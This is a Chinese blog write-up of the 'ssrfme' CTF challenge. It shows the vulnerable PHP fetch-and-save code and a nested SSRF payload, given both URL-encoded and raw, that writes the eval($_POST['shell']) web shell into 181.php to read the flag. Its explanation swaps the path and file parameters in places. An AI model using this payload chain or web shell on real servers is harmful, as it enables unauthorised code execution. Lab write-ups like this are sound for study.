bmzctf刷题ssrfme

bmzctf刷题 ssrfme

考点:ssrf 本来我还想docker逃逸的,但是未成功
😕

代码

<?php
if(isset($_GET) && !empty($_GET)){
    $url = $_GET['file'];
    $path = "upload/".$_GET['path'];
}else{
    show_source(__FILE__);
    exit();
}
if(strpos($path,'..') > -1){
    die('This is a waf!');
}
if(strpos($url,'http://127.0.0.1/') === 0){
    file_put_contents($path, file_get_contents($url));
    echo "console.log($path update successed!)";
}else{
    echo "Hello.Geeker";
}

思路:

代码的功能主要是

2Wp1lq.png

1.给出两个参数path和file
2.检查path中是否含有..有的话就显示This is a waf
3.通过strop函数比较传入的path开头是否以http://127.0.0.1/开头,没有的话显示hello geeker
4.如果path是以http://127.0.0.1/开头,就包含path传入的url,并显示路径l
5.程序会获取返回页面的代码,并保存到php中

方法

通过传入payload,然后让程序读取,保存到php
payload:

?file=http://127.0.0.1/?file=http://127.0.0.1/index.php%26path=%253c%253fphp%2beval(%2524_POST%255b%2527shell%2527%255d)%253b%253f%253e&path=181.php

原版:

?file=http://127.0.0.1/?file=http://127.0.0.1/index.php&path=<?php eval($_POST['shell']);?>&path=181.php

通过path写入shell到181.php
2WpB11.png

读flag

去访问181.php
2WpD6x.png

posted @   MuRKuo  阅读(414)  评论(3编辑  收藏  举报
编辑推荐:
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 【杭电多校比赛记录】2025“钉耙编程”中国大学生算法设计春季联赛(1)
欢迎阅读『bmzctf刷题ssrfme』
点击右上角即可分享
微信分享提示